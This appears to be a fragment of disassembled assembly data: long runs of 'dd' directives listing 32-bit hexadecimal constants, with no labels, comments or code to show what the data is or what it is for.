dd 6F922AF1h, 0BB660EBCh, 0DD9F70FDh, 0C3FECD3h, 0F30A2E0Eh
dd 5650797Eh, 6C0DEDBh, 0E95B5EF1h, 68095D85h, 4885B992h
dd 0E4DF270Dh, 0F5C171Dh, 616504BFh, 840501A8h, 57E26330h
dd 29874606h, 1F63DBBFh, 6929E60Bh, 6B9A2980h, 52981CEEh
dd 2347194Eh, 3B3081D7h, 2C8BA985h, 17AFFD89h, 0A3CD2177h
dd 73657E1Bh, 562700FDh
dd 266F7CF6h, 0F012588Bh, 0B7533ED1h, 0C3EF8001h, 0EC5BF828h
dd 0D625E9C0h, 9FD9DB97h, 0C5CC0BF9h, 0BDA95EB2h, 83D579E2h
dd 3BFEE90Ch, 0C2EACB5h, 259AD76h, 0A196DE4Fh, 2E108EA9h
dd 1CD335FEh, 0B999980Dh, 18CF036Fh, 70D9CFF2h, 5A322DDh
dd 1E68581Ah, 9CD9A83h, 0DA292A24h, 2084F08h, 0F0E685Bh
dd 0CA8224F5h, 73EB2D00h, 4FEA170Dh, 0E8256728h, 0FAD8020h
dd 36105ABAh, 4821F872h, 908105B8h, 0CE8C9B0h, 0BDF93125h
dd 52ACF3A8h, 0E2E9520Bh, 5079FE10h, 1BB7AD14h, 732A2C8Eh
dd 2097BF79h, 0B062EF56h, 0F53ECA31h, 1EFDCC12h, 1DE927D2h
dd 9191EE70h, 0A59665AFh, 5F59215Ch, 4DE99E60h, 68091D63h
dd 0C6B05049h, 0FBACDA97h, 0D1442CBEh, 0A9BD5F90h, 33FE581Bh
dd 0B780A012h, 54B11E23h, 0C060C1C4h, 4B440BA0h, 0C4B5BCA7h
dd 8003FD70h, 0D382B7F2h, 61B192F5h, 0E6425640h, 509F4C5Eh
dd 0BCE8A155h, 9A853FC3h, 0E84AEF44h, 0C9E860Dh, 0F6FA77EDh
dd 0EF0ED713h, 5166AB00h, 9D2874B5h, 0D0E848D0h, 61C8C1B5h
dd 0AE2AC2Ah, 8BBAD2E9h, 78279082h, 2A07C64h, 0D06742A7h
dd 0EB50A57Dh, 0DCBCD9AEh, 1B4CE96Eh, 744E746Eh, 0E0A301C4h
dd 2768D1D8h, 0F469A9B5h, 85FCA51Ah, 477F8F5Ah, 5ADBAB27h
dd 0A4F304EEh, 0AEA55939h, 8D096484h, 5D36E298h, 95506307h
dd 1420ABF9h, 4E277F36h, 0E1C60011h, 91A7DA8h, 32A2E84Fh
dd 62783580h, 46C4636Fh, 0DD88C37Eh, 50EAB7E4h, 0AC9316A2h
dd 50F04707h, 0E2668h, 35580FE0h, 2CA6471h, 0CB925798h
dd 0C85ABEF8h, 51A2F4F8h, 26095540h, 837F8F3Eh, 84568BCFh
dd 0C4D8176Ah, 1633ED15h, 86C9FC3Ch, 0C6A18F9h, 0E142ADB1h
dd 37640514h, 347F01D9h, 0DDE955D2h, 0E1D07F86h, 1B20D266h
dd 295D09F3h, 0CA7C5FFBh, 2F545708h, 3005097Ch, 0A8266F9h
dd 6179CA13h, 1B7D5024h, 12F51C84h, 0A95F7F0Dh, 70F7D17Eh
dd 0F45E0278h, 0CE08EE35h, 9FF3113h, 0BEF8A89Fh, 66D682DFh
dd 0C5284B81h, 0B854C83Fh, 0FEC2C741h, 8716A7E9h, 0EAF62220h
dd 0A5362F0h, 2A79D329h, 5DDB6858h, 0FB81B02Bh, 3F7B7D0Dh
dd 48E06CF0h, 848403BFh, 814B0010h, 302A47E3h, 3B0C2EBDh
dd 4D4ED055h, 0F38062D1h, 0D4CA133Ah, 25CDBB90h, 5E448C09h
dd 78EE0888h, 0C2262637h, 0F35E5270h, 0A7013DCDh, 0F905D6E2h
dd 49F54A74h, 55AB0920h, 0FFDB83DEh, 4286568Bh, 32F75F76h
dd 55A2E20Fh, 60A06167h, 2C15E926h, 3C77FF84h, 2DFAE5C3h
dd 0C8DCD965h, 0F2B7193Dh, 0E088C315h, 94319B3Bh, 0F32EC61h
dd 0B8FC18Fh, 0D8D3D4C4h, 22F73594h, 0CD1177Eh, 29CDCCD0h
dd 0F67ABD95h, 68BCF0A0h, 3A5C5F5Ch, 65DDA6C5h, 0F2F2302Ah
dd 0F924D013h, 0C24B1D1Eh, 1C607B4h, 0C2635CB9h, 4849E829h
dd 526600DFh, 10B40D50h, 2CEAFDB6h, 4AAD5EDAh, 4202C184h
dd 0DD2D9468h, 0E98BD065h, 0D70E62AAh, 7D9A306Ch, 99552027h
dd 0B3010C81h, 0D8C63457h, 5B16A3D3h, 0EC503B4h, 1E40BD4h
dd 0ED0AF52Fh, 5E9B2008h, 721CF7ECh, 0F044195Fh, 0B20F5262h
dd 5AD128E3h, 0CFC14AEAh, 399D3AD3h, 6220B921h, 2F9141B0h
dd 67F5059Dh, 0F73E402Fh, 2BCB241Dh, 5D5F7A98h, 5E9BF821h
dd 0EA855803h, 0FDFE4182h, 242E21Ch, 0C7DAFF19h, 3B912132h
dd 404F8492h, 945E1707h, 0D4B40BD6h, 107FBAD7h, 9954552Bh
dd 0BE5660F2h, 8A2E633Dh, 0C702317Bh, 8484759Ch, 68F85EA7h
dd 5ED2A9B4h, 0B568A703h, 30AB1069h, 0C9077381h, 0F8619EFh
dd 8EAE809Fh, 0BE891EACh, 8D23096Ch, 8FF082E4h, 59B78B92h
dd 0D9C04956h, 66BBE85h, 42B176F7h, 0CFF3B7F1h, 26D60A08h
dd 0D1180917h, 4EBEFBDBh, 878E1261h, 83CE5429h, 0E96691D7h
dd 6A2C6536h, 947FA5F1h, 51AE2C70h, 5A99B904h, 92C248B7h
dd 995304BBh, 5B51DC21h, 1B7F295h, 7F882A59h, 510DAE9h
dd 0AF8FE80Fh, 0D0896426h, 0B14EC2h, 840FC90Bh, 0E3D2CAEFh
dd 49E30E20h, 0D15FC35Dh, 347F9DC5h, 5041F3FDh, 2456D820h
dd 25B14EE8h, 945F6C0Bh, 7A062D4Ch, 0C104F251h, 0AC008EFh
dd 3CF5F2A4h, 35CF0145h, 0F890BB6Ah, 4F031CDDh, 4028F816h
dd 0C33E907h, 0BAE651EFh, 5F6DC91Dh, 18792C6Ah, 36BE650Ch
dd 0EEA57256h, 0B5407FADh, 0BBE68180h, 16B80538h, 7FFAF606h
dd 0B0C2797h, 512C3A4Fh, 12834D0Ah, 5770EEDFh, 5B1F39C2h
dd 8189F86Ah, 0A87CE70Ah, 3598DE20h, 0BCDC487Ah, 690841F2h
dd 69D28958h, 0A9514A4Fh, 813BEF89h, 7EFBB626h, 32096A25h
dd 0EEB95585h, 42642A31h, 0A19683FCh, 608C355Ch, 0D12925Ch
dd 74C04426h, 2411B376h, 1029DF31h, 4E661CC3h, 0ECABF8A7h
dd 6177E881h, 0F6CE0A0Fh, 47E46F2Eh, 3FB8FE50h, 0D1E51C8h
dd 86571F3Ch, 2E10B7BFh, 0F102CF26h, 2D73BD08h, 33105347h
dd 320754Ch, 275C5A4Ch, 109FE7C3h, 15919202h, 0E3C1EAB4h
dd 0F86658E1h, 4FA5E909h, 5249D9F1h, 63F82003h, 0EF20EB98h
dd 2D5490C4h, 44C92EB7h, 24293A0Bh, 0DD88D400h, 0EAEEE652h
dd 1871374h, 2A10215Ah, 65560766h, 0D5F60281h, 2CC1F580h
dd 3B0BA261h, 38F27D12h, 685652B0h, 4405394Bh, 10F047E9h
dd 22CDB75Ah, 74C7BD0Bh, 0C4E8E753h, 7A9EF17Ch, 15FD6E6h
dd 0BB8B415h, 2F3B21AFh, 0E2D3DA44h, 27AD6607h, 9A159E57h
dd 0A3B3530Fh, 53B87B0Eh, 91206C3h, 77E13710h, 68C05B2Ch
dd 74341128h, 0B95EE92h, 0AEA3F70Dh, 400004EBh, 70356A48h
dd 0E4E9D889h, 6699956Bh, 0BBA655BDh, 0DB12D11Eh, 5A04AB80h
dd 22DA982Ch, 76307910h, 0DFBBA7E7h, 1A043D03h, 0BF06A096h
dd 0AC20CC39h, 0D44016BCh, 2E59AD46h, 6908A559h, 0AC583861h
dd 0E6FCD716h, 5E5E7A09h, 8D4F1783h, 82ACA80h, 0A1405126h
dd 2F55A42Ah, 0A13A8441h, 0EA2D6E25h, 409E1880h, 0FD29189Dh
dd 809C9A2h, 9437C085h, 0DA2EAECFh, 0B39F4F71h, 90662742h
dd 819A947Eh, 0B4EC2046h, 2B83CC0Bh, 34ED5829h, 0A2ABE3ACh
dd 59551606h, 5A782DE2h, 0BEFB00DCh, 25980A9Fh, 83584E64h
dd 0E8121314h, 0C63ABC55h, 28437852h, 2CB05E1h, 140A77C5h
dd 0C040D909h, 43829588h, 1EC0CC2Dh, 0B864A2F1h, 0BDDB9A38h
dd 8709257Bh, 0BB9B756Eh, 67F9BC31h, 293FEB28h, 0CB042A69h
dd 0A2AE5854h, 5AE9C436h, 0E95E01A0h, 17EB1160h, 0D04DB007h
dd 0F84E95Ah, 0B562449Fh, 75B1F8E0h, 81DAF19Dh, 11368C68h
dd 412C6B5Ah, 516540D2h, 50F1881Ch, 0E347CCDDh, 869A5958h
dd 8A546B2Fh, 42A40EBAh, 1C73AE4Dh, 0E923F566h, 0C1211832h
dd 4F81A867h, 441DB290h, 47DE786Fh, 0CD1DBEC3h, 0F377F339h
dd 0CEAB98AFh, 6C5F6231h, 0E50F5CB6h, 86F0FAEAh, 0E0D75A89h
dd 3DA45F05h, 4CFAE913h, 0E553E74Eh, 0E7A786E5h, 6676FE25h
dd 5CD9108h, 0AA66E068h, 0E50D5D8Dh, 5A02B2F5h, 0CF1C5257h
dd 95390118h, 0E81744C3h, 564E7E9Fh, 0F23FF3A1h, 0E68F8A0Fh
dd 0EBD0EC8Bh, 0EB8B924h, 0A7FCDD3Bh, 60C34431h, 0C7FED78Fh
dd 5895F780h, 0F65B16F4h, 0E1D3B4D1h, 0CA50FA98h, 0E93CD5DFh
dd 93084DDFh, 0EC5C32A1h, 0C34A9DE9h, 774F81DDh, 0F53F311Ch
dd 82080497h, 0F24A2489h, 0E8921877h, 525A80C5h, 0AF70B63Ch
dd 0D7EFC231h, 0C8BECDB8h, 25336817h, 91C51BB8h, 7A8CAFEAh
dd 0AB48FBC2h, 27830995h, 247D2172h, 0A2AF063Ah, 4198D2A5h
dd 0BD5B4022h, 0C04B4804h
dd 5FEF051Dh, 0D79ACA5Ah, 8C52CB8Ah, 0E8CB183h, 0A9FCC550h
dd 0C3868CFFh, 0BB259D9Ch, 0E920C4BEh, 41C4DBABh, 3081B0B4h
dd 653B9161h, 0C799EB96h, 0F021D455h, 0B37F4CF7h, 0A12C109Fh
dd 0C5685C0Fh, 6995DF38h, 172917D2h, 6263CA3Eh, 0D4F9D5CAh
dd 7561EF7Eh, 786B891Ch, 4BE4136Dh, 171032A3h, 0F28004FEh
dd 0B5878878h, 5D5BFD32h, 2BE99A81h, 79E66F8Ah, 2DDBC4Bh
dd 0DC1D6B2Dh, 0D688F50Ch, 43482F07h, 744B41E9h, 614F7AF7h
dd 452D523h, 94F6D8EEh, 0D7CC724Fh, 0E60B5BABh, 0F57A1647h
dd 0E2A43DECh, 4AC2C8F4h, 6022541h, 0B440C138h, 46D64ADBh
dd 0E4F733ECh, 3CCBE577h, 0A3680B61h, 8E6F5147h, 20C946D7h
dd 9B9FA84h, 832DDC58h, 3308717Ch, 0DA30EACCh, 0ACC45FE9h
dd 0BF7B03Ch, 31273CD8h, 33BDA401h, 0F5B8FFD2h, 8F70555Eh
dd 8414D99Dh, 0EF025468h, 7C42122Dh, 0FC94DF6Fh, 0CED4C725h
dd 0DB23B53Ah, 0BD2F5A36h, 3E087129h, 0AD330A2Eh, 0F6EBCB74h
dd 7D7B00F1h, 0E281137Ah, 3809751Fh, 0F9F2033Bh, 40335856h
dd 4F139C18h, 21AB849h, 0B77DE4EAh, 0E9EA6084h, 0F0BBE3Ch
dd 5149C380h, 0C3C66A84h, 7B41B194h, 0BF883BE1h, 99555FDDh
dd 10B728A7h, 881E5984h, 1D92E6E1h, 4B035FC0h, 5F560DEFh
dd 81521050h, 0E9B53F2Dh, 5CE46D60h, 0FED7F4CBh, 4FB5E420h
dd 894E4158h, 0E1CEE97Bh, 88F4666Ch, 4F43F2DEh, 0BF488881h
dd 561CA59Dh, 0FD9CCDC2h, 0E59B413Bh, 13A568F0h, 277E97CCh
dd 9381A059h, 0E8088298h, 0E8258EF5h, 0F2396147h, 2476F08Eh
dd 770FCAA7h, 0F42F47ECh, 58BFDED4h, 8CD24960h, 4FCC8AAFh
dd 247BF9E5h, 0CA89A4E2h, 0CE71A163h, 4219D98Eh, 27CCAA40h
dd 4F65B16h, 52541C96h, 807C8D01h, 0B16B6FCCh, 4B794AB6h
dd 966AD2E4h, 2DC52F00h, 0F5555C42h, 0D698E8E1h, 5B05925Ah
dd 2129764Fh, 87562CEEh, 0FD6EC29Fh, 0CC9F8B44h, 930098B9h
dd 38D2689h, 0A7B6278h, 72C5F0B7h, 514B3BF9h, 0F91D199h
dd 0D1C25B59h, 58CAA41Ah, 695761AEh, 85AB0475h, 342A007Bh
dd 291D0D48h, 81439A3Ah, 623735DFh, 177454E9h, 0AC754E68h
dd 0FD68DF02h, 487F08A8h, 0CAB70AC1h, 1270D7F6h, 51884042h
dd 0F2968651h, 0E241AE62h, 761A288Ah, 843489BFh, 8CFF077Fh
dd 5759A69Fh, 5E3A840Ah, 0F1C562BEh, 9E2F4F76h, 0D9E925B8h
dd 95735E2h, 0BD1C828Dh, 56F10B85h, 0A17F6E62h, 16B66839h
dd 0E90CF463h, 9ED9E33h, 2803518Ah, 5302D8Eh, 0F60E5AFAh
dd 0C0381E2Eh, 442F36E3h, 2B4B5C12h, 5356051Dh, 0ED0FEB2Ah
dd 9F19ECA9h, 57C23368h, 4D5BDC8Dh, 9B48B2CBh, 295BFD20h
dd 3C8BE991h, 0A220AC2Eh, 0B964D52Dh, 73B87427h, 44B6C8F7h
dd 8920A0B0h, 90EBE79Dh, 5D0496EFh, 0D418AF16h, 0DB2D0C4Ah
dd 8706DC41h, 0D2305201h, 0D5EF187h, 450B62A8h, 58F0AABAh
dd 0C989DEB3h, 105FA00Bh, 0BCEA12B4h, 88F44B01h, 694E3A33h
dd 6503F417h, 0DB258CCEh, 56A775EFh, 5D9DD7F7h, 0CBBAF7CBh
dd 0D75804FAh, 0CFACB4CCh, 7484558Bh, 4A12F6DFh, 984006E1h
dd 0E859B1h, 22292D45h, 4EE94F30h, 312400BDh, 0BF522077h
dd 301B745h, 5A25C219h, 258DE67Fh, 89E4F6E1h, 474446DDh
dd 6E3BE07h, 0D2D56679h, 0E1580392h, 100C245h, 819759CDh
dd 2C783EFh, 16D9F37Fh, 5FB4DC48h, 0CE2C1258h, 518EBB8h
dd 0F71D3C2h, 0DE35488Ah, 0E942C3E0h, 7CB288C8h, 62DEA32h
dd 1ADD7C4Eh, 0EC59DD54h, 61B06C8Ch, 112309C7h, 0B6D64777h
dd 5173FD20h, 7DE4DFCBh, 96D12B2Bh, 580A0149h, 612A525Dh
dd 307AFD2Dh, 0DB12F7E8h, 0A3A0C2E9h, 0C0833192h, 80EAC108h
dd 0B23BFEEh, 27E940FCh, 3456D113h, 298C85C2h, 923D2EF9h
dd 99EACA41h, 0D1217A31h, 0E074565Ah, 7EDBEC59h, 0F7E6494Dh
dd 201EB90Fh, 2ED75C49h, 7F8F613Dh, 0C9D91B54h, 24CFF930h
dd 1F704941h, 0BE0E5E6Dh, 0D0D2F181h, 2031A189h, 0BB0F5376h
dd 0B21D8687h, 0F5A87446h, 240B7063h, 0CF971AC1h, 603E906h
dd 4DF460B7h, 5A93059h, 0F3BFDF5Ah, 70BC495Fh, 90D6809h
dd 0D4307066h, 369A5BEFh, 14476403h, 0F99EBE3h, 9D8AB4E8h
dd 6810DDCCh, 0B44C7195h, 3051C12Dh, 6BF2F6C9h, 58E41A74h
dd 4D5A21FEh, 0B14E037Ch, 0F76EEAA3h, 4C6C5029h, 9051BB40h
dd 689940FDh, 7A17CB7Ch, 0D50F5A26h, 41DC249Fh, 3F6287AFh
dd 0C320E922h, 70AF3C76h, 0E5EB7071h, 414E109Eh, 957778EEh
dd 0B2816046h, 80E4B0Fh, 3FE98231h, 91D6454h, 205B6088h
dd 0C4608F77h, 0C5A392ECh, 8069D299h, 0FE6FB313h, 3E5066C3h
dd 0CC5E0A68h, 0C05EB6F2h, 9AEA9798h, 80D995AEh, 1E4110EBh
dd 31FCBBB2h, 244CC3Fh, 2FAF785Ah, 46A54E6Fh, 0C4B250E0h
dd 0FA57DE05h, 0C525BA75h, 21AC86h, 0F65AF420h, 30EC80DCh
dd 0C0E70828h, 854BD7E9h, 6F95FA4Ch, 4043B64Bh, 5CDC97BEh
dd 1456095h, 7828B0EAh, 0E06B4AD1h, 6740FC96h, 5E00FC0h
dd 77490A34h, 3FF4B02Bh, 7EC5425Ah, 5AE9C29Ch, 0CDB15F68h
dd 0FED9F607h, 832180C1h, 0E87CCC88h, 0EE8FC4DBh, 76E997C2h
dd 31094FF6h, 0B6945DD0h, 0A69DE595h, 6C5088EEh, 5C5F660Bh
dd 0C4B7099Fh, 142E6352h, 0EE23E85h, 7DC40F22h, 4ACDE287h
dd 2B8B8306h, 5CA8241Fh, 0DD095222h, 502E396Ch, 21CFF77Ah
dd 9CF4BABh, 84B507Fh, 0C32D5B7Dh, 4C6FE36h, 39EF803Dh
dd 1E02B2C0h, 9225AFF7h, 0DD4154AAh, 6BE0D3B1h, 0E43088CDh
dd 40024BDCh, 90435C4Ch, 0F37D09FDh, 588E2A30h, 1F52ADBBh
dd 14811DC1h, 87906AFh, 1A3B40E6h, 4A70E406h, 77D94CEAh
dd 8017F006h, 141D3446h, 0C2A5CA67h, 1DC988D0h, 5DE9973Ch
dd 0DA536DFEh, 0D697E938h, 76BEF0C1h, 4D1C6880h, 7C848371h
dd 555F0753h, 9EB4055Fh, 3BF65B4h, 78C50958h, 7BF2E7D1h
dd 0DD25EC7Ch, 0A1293724h, 0CB255552h, 0CB4A7E1Dh, 83812B25h
dd 10F114EEh, 0CC540C60h, 0D00C07AEh, 377A0218h, 0E0E106CEh
dd 90E4B2C8h, 0B1C1D746h, 78AAE1C8h, 0B5510BD3h, 0D4A50508h
dd 0AABC74AFh, 1EADB765h, 0DC64A245h, 23223168h, 0FBD0A9h
dd 28CA0B05h, 0BF59C82h, 4DD618D3h, 849A857h, 8CA5816h
dd 8268E909h, 7D4EF268h, 0F756700Fh, 0BD09A5DEh, 0BCC0E7F4h
dd 95EC0B86h, 0F92D6446h, 885A51D9h, 58055D14h, 0DEBE580h
dd 0E43F0607h, 2C2FC6C5h, 0A4D0638Ch, 680B70B6h, 0A374183Bh
dd 0E7E99960h, 55F6AA65h, 0D4ADE771h, 0B08A92AAh, 0D04BCE12h
dd 0F4D6C5F7h, 504093DCh, 27F07788h, 0DC54499Dh, 417E4172h
dd 0C17E0733h, 2F7F0C6Ch, 55102F17h, 4E8C4A07h, 2E72CC1h
dd 0AE470342h, 68A3392Dh, 63466CEAh, 4D6B55A0h, 0AE3ABB3Ch
dd 0D302B4FBh, 596302E9h, 0C6DA8994h, 5896B779h, 0AD6F21BBh
dd 0D5F72A41h, 10016614h, 1E9F9D22h, 77462074h, 28E5BDA1h
dd 21BD0056h, 4D296F4Ah, 0F63AF7D1h, 79820BDCh, 3E2F04F0h
dd 256824F0h, 0D3981A7Fh, 87BEBF3Ah, 4BF7974Ch, 72B8BDE1h
dd 76408C41h, 3E9D112Eh, 0B0344569h, 5688FAFBh, 0B4BE4F56h
dd 0AF9F2DA7h, 10DBB45Ch, 91DEB98h, 6DA9C9EFh, 0E64FCC7Eh
dd 7F4DDCB1h, 948849CBh, 38EBED4Ah, 6F9B1207h, 2392DB03h
dd 4C801791h, 5CBDD0EFh, 7D01424Dh, 730EB81h, 77317A9Fh
dd 1204817Bh, 7B976109h, 0A7970DC1h, 81CD6D80h, 0C17E61EDh
dd 27681E38h, 0D64E654h
dd 64537AD8h, 5A503442h, 8AF245B7h, 3458F92h, 6E6349FBh
dd 31987E00h, 0BA5203C6h, 937717FCh, 8407FF6Dh, 3ECCB5E9h
dd 0D4F42C80h, 119F16A3h, 68029320h, 2B6C72DDh, 4A0E4A76h
dd 0E96A611Bh, 33796B87h, 0ABA2EA2Dh, 5902953Eh, 48F54433h
dd 0D2E7B0DCh, 445475C7h, 6C80598Eh, 0F2B6062Fh, 0EBC3F0E3h
dd 0BE0FBB07h, 0E52071C8h, 465F852Dh, 58ED448Eh, 0E5D4054Bh
dd 6B9B3588h, 0D4E81D87h, 9591FC72h, 68C80F81h, 313E2043h
dd 7401CD9h, 0DD27B8D2h, 0F325779Ch, 57C1B5Eh, 0B65290BCh
dd 1E74FC93h, 0B200C328h, 80DAF636h, 0E9E00BC2h, 345C490Bh
dd 0E0295047h, 0B7462CAh, 0EB097836h, 0F0A89746h, 4946518h
dd 4D54A86Ch, 0C986F58h, 54C1D61h, 8C407CBAh, 28BF06B2h
dd 4E5A66D3h, 0E93AD897h, 0EDBC292Ah, 0C76570DDh, 0AB2F982h
dd 6B99DEFCh, 4821DCD2h, 0B8508060h, 1F06324Bh, 66E4C0B5h
dd 0B428055Dh, 0FF0169E9h, 473F1861h, 9B575002h, 8258B268h
dd 96933Ah, 0D5C5AEB9h, 0BEB7D48h, 6F53C1h, 7507F69Ch
dd 0BD505A31h, 0BA2F1671h, 964272C9h, 0ADC67FE0h, 67CF43Eh
dd 0F0F58176h, 0E9014B0Dh, 0A65D2441h, 97D1CE2h, 1EA38583h
dd 3DF31F2h, 1F330F3h, 32D0EB1Bh, 0DC5A5B3Dh, 35181ECBh
dd 0BB0C4966h, 2C933055h, 0A7515D26h, 38180D60h, 9045EF4Bh
dd 53D61886h, 54F30C06h, 0AB5A05F0h, 1EB41DC5h, 2C5E4039h
dd 685C66ECh, 2C915B6Fh, 0A4EDF4B5h, 17BAD674h, 892955B7h
dd 4D04D867h, 5CC13F3Bh, 0ACC2033Bh, 963CC41h, 6C80E922h
dd 767E4572h, 1C2D5CFh, 4A47437Bh, 5F840E81h, 20533F7Eh
dd 9348F8C3h, 0D028C443h, 74682B80h, 6308B64Fh, 5150BC9Ch
dd 992731E0h, 1121D409h, 0BDA04F29h, 3621135Ah, 0A05FE122h
dd 0B809806h, 3547768h, 0E14057C8h, 0E5C11366h, 1A0EF807h
dd 82134F2Ch, 0BA08279h, 8A059B02h, 0E726777h, 0FBA25A5Fh
dd 0FAFC3C8Bh, 0A9CF4670h, 0A343173h, 203E4112h, 955F4C9Bh
dd 94D7C2ACh, 161FFA7h, 5D03A9D1h, 655F56B1h, 0EA212A94h
dd 54AC8h, 9E7AEE6Dh, 7209BB4Ch, 0D880D99Ah, 14B904A4h
dd 0F1D29D12h, 0EF4430DBh, 71536B06h, 20F8E1C1h, 51F4A4A9h
dd 40275678h, 59AD3888h, 78CF2F68h, 0E91402ECh, 106BFFE2h
dd 5026A59h, 5E4B2A51h, 35DAC0DDh, 66B525A6h, 0DE94DA78h
dd 7CC6D55Ah, 7129FA80h, 0FABDE470h, 5F0881A0h, 5010A672h
dd 8AD1266Fh, 91E87609h, 77734BB8h, 0CEBB6605h, 101DEC6Dh
dd 0E3C20AFFh, 0EB021071h, 7DC27F63h, 31CE910Fh, 0D7F3E985h
dd 3D35534Dh, 2CCE0A48h, 0D310EC8Fh, 681D2C02h, 4D550DD0h
dd 12831761h, 58DBD1AEh, 0D3E42DC2h, 0C316605Ch, 9094770Bh
dd 0B3A0952h, 0EDC15FA2h, 0E060B778h, 6B7DBA87h, 0C3405972h
dd 80014B26h, 0E99A83D7h, 69B9EC01h, 0E67322AFh, 68EB9878h
dd 323A4B6Fh, 642BFA6Fh, 0FC422545h, 0EB206BC6h, 1038A057h
dd 64C9042Ch, 0C24EDEF7h, 5E04D8B8h, 235E4CBCh, 0B94CED42h
dd 28C607F5h, 0FA3558E7h, 3FD698BFh, 5C1E8CB1h, 8D1708D2h
dd 43535EEh, 0A654AFCAh, 2739902Ch, 56D1C821h, 0B2D14A68h
dd 7A9D23Eh, 127FCDC4h, 2D2E4914h, 161A752h, 0B6A2D5A7h
dd 2DC951B8h, 0E9E2A556h, 0D3844B51h, 5FEEE27Bh, 2FA74963h
dd 0C5596607h, 4A9D9775h, 5ABB10D1h, 20A25DACh, 0FA20A352h
dd 78C0763Bh, 552E2406h, 515680D3h, 360CD368h, 41597C1Ch
dd 59A8D152h, 20302601h, 0F6CE891Ah, 3E317E1h, 53D8E0ACh
dd 0B7925CB7h, 12DCBE84h, 0A49613EAh, 0B24B43A3h, 2617D0E3h
dd 0D6FDBC27h, 898449A6h, 15F3C1E5h, 8BBF0058h, 0E0E35B64h
dd 290070E4h, 26350ED2h, 3078EB22h, 558336E9h, 3D16C068h
dd 0A5093CD6h, 379A7544h, 0B8420D74h, 0E2C3A7B9h, 59613372h
dd 0D77227A1h, 243CD534h, 0ADC5B1ECh, 78F6E28Bh, 0C8BFF9FCh
dd 1FC4E157h, 91DBF1Eh, 965DD3E0h, 0AE64A063h, 1F399964h
dd 2D228505h, 0D82380D4h, 6C3B2C7Dh, 0ED517801h, 92882E08h
dd 0B46BA62h, 52D4613Dh, 5AFE9A02h, 462F0245h, 0B76A77CCh
dd 86D62FA2h, 86F0009h, 90D386Dh, 1B686919h, 507B280h
dd 361C9044h, 0B32CE934h, 2DBB0197h, 8C167E30h, 167A04C8h
dd 0EBDE0BECh, 7E9CFF0Bh, 0E2D39727h, 0A33F1271h, 0E6D699FAh
dd 94972C78h, 0BBF56E5Dh, 0C0AA0114h, 6A94C5Ch, 8B4621Bh
dd 5A019582h, 21F0AA55h, 64FB837Ah, 0D880217Bh, 0AD08C6FEh
dd 17202048h, 491363F2h, 18100916h, 1E188DB9h, 0BD101066h
dd 80475D80h, 41806FDEh, 8839815Ch, 0C564481h, 3C104AD5h
dd 63D34F40h, 0C66C088Eh, 24281810h, 10F89118h, 0A3813640h
dd 0EE0B498Ch, 73414208h, 110192C1h, 2D28885Fh, 7E0708F4h
dd 1CB32908h, 9F2031D6h, 78E9016Bh, 0D0EB1088h, 8E8540Ch
dd 187D66E3h, 0D420F95Ah, 80E57C18h, 9A813F48h, 911AE98Ch
dd 0E4406308h, 0DDB041B2h, 1C288C37h, 0DEF80869h, 858D851h
dd 18C6462Ah, 88613DE7h, 804B92A8h, 31D1D36Ch, 0DF657F8Ch
dd 0D91FC308h, 86F340Ch, 7D79C476h, 0D6F8068Bh, 57DB2008h
dd 2098AE20h, 2424CC8Ah, 0F798044Ch, 8154CB10h, 308051C0h
dd 10090310h, 10BC20E1h, 6010E23Ah, 630210A5h, 108CEF18h
dd 8CC7834h, 88368146h, 28C95E4Fh, 623C2332h, 3D081550h
dd 5E20E8E3h, 20D4DF20h, 943288C5h, 26D696Ch, 9003D8C8h
dd 2B10186Ah, 3A44084Ah, 0DF864580h, 1815D020h, 0FC1089C5h
dd 5208C454h, 0ADBA04EEh, 283B3C06h, 31AF0D20h, 9B10421Ah
dd 49088C26h, 66ED188Fh, 21E008F0h, 10F69731h, 89EDA5Eh
dd 172060DCh, 56B120C8h, 15A45949h, 318085CAh, 0BBDD18E0h
dd 0E6640888h, 2039B50Ch, 3D79404Ah, 40BE6E40h, 14089F4h
dd 0D6734035h, 25101462h, 385102D3h, 0CC3680Fh, 0C51840Eh
dd 857308C4h, 0FAE9492h, 590C6908h, 40EE0840h, 0B9C47B83h
dd 6F045CE2h, 0EA9D0490h, 93576A04h, 2920B9F8h, 59C13128h
dd 8C5C7610h, 185DF008h, 99916468h, 0B83E047Fh, 55B24D2h
dd 23D84CE0h, 0D040E2F1h, 20289A2Bh, 556236F9h, 4FAE329h
dd 1CDC91ABh, 0C25192CCh, 3E842448h, 0BF2211E2h, 0C4449105h
dd 0D00C0D75h, 2D400FC1h, 609040ADh, 0E8FC9C13h, 0C1AAA424h
dd 8F4653C0h, 1CC78B1Eh, 10436B8Ch, 6F475C3Bh, 13EB0206h
dd 0B9370E89h, 5A03DA7h, 18F4401h, 0C90B4940h, 618BF775h
dd 0DEA0C7B4h, 0FE97F003h, 0C0338F7Bh, 4FB10F01h, 612CAC30h
dd 0C5686682h, 0EE63720Bh, 31614F1Fh, 8BE01ABEh, 0FF015B10h
dd 65066F80h, 7A9F3231h, 3C5C2679h, 63F92742h, 9FA4E1A7h
dd 15B93A81h, 602E1D55h, 0D121B90h, 0C4AE177Eh, 58080C5Dh
dd 8FE0F90Eh, 0FA0C3260h, 0B50C095Eh, 4DC5C08Fh, 0AD3AF498h
dd 69763078h, 4E61F100h, 7DE9D35Eh, 3122CB76h, 0F8300358h
dd 34AB35Fh, 0A9FE9775h, 7196C16Eh, 0C81450Bh, 6C7F366Eh
dd 34C37E51h, 0D9A359h, 0F6A78F60h, 6E682D89h, 0FA7E2032h
dd 7D078905h, 0BD9E16h, 8E058B8Ah, 6BA3B84Ah, 0C77E189Dh
dd 0A464777Ah, 5B184922h, 9629E334h, 2D77705h, 52BBD361h
dd 3EAC000h, 2F4321F1h, 781768Ch, 0D6661EBh, 7C7CF770h
dd 3100681Eh, 5B0C724Ch, 0F7FE381h, 0E929BF7Bh, 0E261140Ch
dd 0E5B28EEh, 68F033ACh, 382726Fh, 830145AEh, 0C1349D59h
dd 0CD4F47B3h, 56827A6Eh
dd 0AD4EF1F9h, 700565Ah, 0C168AC56h, 28F706EBh, 4EA343D3h
dd 5704371h, 7618C73Ch, 8FCFC81Dh, 198BC463h, 0C45B0E22h
dd 8EEEEA6Fh, 0C7F24EB4h, 7486463Eh, 0ABBD555Eh, 0A8EDEEC0h
dd 0B75C291Ch, 9C56F85h, 0DF748708h, 3230A982h, 27F1DE2Fh
dd 50029FF0h, 3C9F44B8h, 28F2409Dh, 42590615h, 5C3827E9h
dd 0CFCA883Ch, 0B2D2D913h, 0E5B0FFE4h, 53F802E3h, 6BEF4EC0h
